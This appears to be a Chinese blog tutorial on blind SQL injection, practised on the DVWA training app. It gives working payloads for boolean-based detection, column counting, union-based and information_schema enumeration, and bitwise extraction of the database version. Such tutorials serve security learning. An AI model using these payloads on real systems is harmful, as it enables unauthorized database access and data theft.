之前的SQL注入是基于数据库返回的内建错误信息来判断的。但通常 web application 会过滤返回的报错信息。这时就可以使用SQL盲注的方法来检测SQL注入漏洞是否存在。

//以下的测试都是在DVWA下测试得来的

检测漏洞是否存在

既然 web application 过滤了报错信息,那么我们可以换一种思路,利用逻辑真假的不同结果来进行判断。

要利用逻辑真假,首先需要找到一个返回为真的数据。
如输入

1' and 1=1--+
1' and 1=2--+

若二者返回的结果不同,则证明存在SQL注入漏洞。这时候就可以仿造之前的测试语句来进行注入了。

盲注利用

盲注的利用和正常注入差不多。这里举几个例子对比一下吧。

基本查询

判断字段数

1' order by 5--+
1' order by 2--+

查找字段对应关系

1' union select 1,2--+

查找数据库基本信息

1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+
1' and 1=0 union select null,table_name from information_schema.tables#
1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #

无权读取information_schema库和拒绝union、order by语句

和之前一样的问题。大部分时候MySQL使用的用户不是root,而是另一个权限较低的用户。这时候我们就很可能无法访问 information_schema 库和 union, order by 语句之类的。

同样,也可以使用基于逻辑真假来判断是否存在SQL漏洞。
语句就参考之前的文章吧。

一些脑洞

如果返回只有真和假,那么可以通过二进制来查出数据库中的信息,或者判断一些信息的真假。

如以下指令:

1' and ORD(MID((VERSION()),1,1))&1>0--+
//这里是和二进制个个位数进行与运算,从而查出整个数据
//可将version换成其他函数。如CURRENT_USER()̵DATABASE()

其中两个函数解释如下:

MID(ColumnName, Start, [Length])
//从 ColumnName 里面第 Start 个字符开始截取 Length个字符
ORD(string) 
//将 string 转换成ASCII码
最后修改:2019 年 07 月 03 日
如果觉得我的文章对你有用,请随意赞赏